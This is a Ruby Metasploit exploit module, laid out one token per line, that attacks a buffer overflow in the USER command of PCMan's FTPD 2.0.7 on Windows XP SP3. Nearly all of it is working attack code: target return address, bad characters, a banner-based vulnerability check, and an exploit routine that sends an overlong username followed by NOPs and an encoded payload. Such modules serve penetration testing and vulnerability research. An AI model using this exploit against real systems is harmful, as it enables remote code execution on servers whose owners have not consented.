require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'PCMan\'s FTPD V2.0.7 Username Overflow'
,
'Description'
=> %q{
This
module
exploits a buffer overflow found
in
the
USER
command
of PCMan's
FTPD
.
},
'Author'
=>
'MSJ <matt.jones.85[at]gmail.com>'
,
'License'
=>
MSF_LICENSE
,
'DefaultOptions'
=>
{
'EXITFUNC'
=>
'thread'
},
'Payload'
=>
{
'Space'
=>
2005
,
'BadChars'
=>
"\x53\x93\x42\x7E"
,
'StackAdjustment'
=> -
3500
,
},
'Platform'
=>
'win'
,
'Targets'
=>
[
[
'Windows XP SP3 English'
,
{
'Ret'
=> 0x7e429353
}
]
],
'Default Target'
=>
0
))
end
def
check
connect
disconnect
if
(banner =~ /
220
PCMan\'s
FTP
Server
2
\.
0
Ready\./)
return
Exploit::CheckCode::Vulnerable
end
return
Exploit::CheckCode::Safe
end
def
exploit
connect
print_status(
"Trying target #{target.name}..."
)
sploit =
'USER '
+
"\x41"
*
2005
+ [target.ret].pack(
'V'
) + make_nops(
16
) + payload.encoded
send_cmd( [sploit] ,
false
)
handler
disconnect
end
end